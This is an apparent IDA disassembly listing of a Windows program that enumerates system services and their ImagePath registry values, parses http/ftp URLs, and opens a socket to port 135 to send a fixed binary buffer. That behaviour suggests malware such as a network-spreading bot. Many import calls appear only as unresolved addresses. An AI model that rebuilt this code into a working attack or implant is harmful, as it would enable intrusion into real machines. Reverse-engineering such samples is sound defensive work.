		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2830942h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2900913h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_445314
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452FC
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28E0000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2871BC3h
		push	eax
		nop
		call	near ptr 2871069h
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E8 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E8 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DB0
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
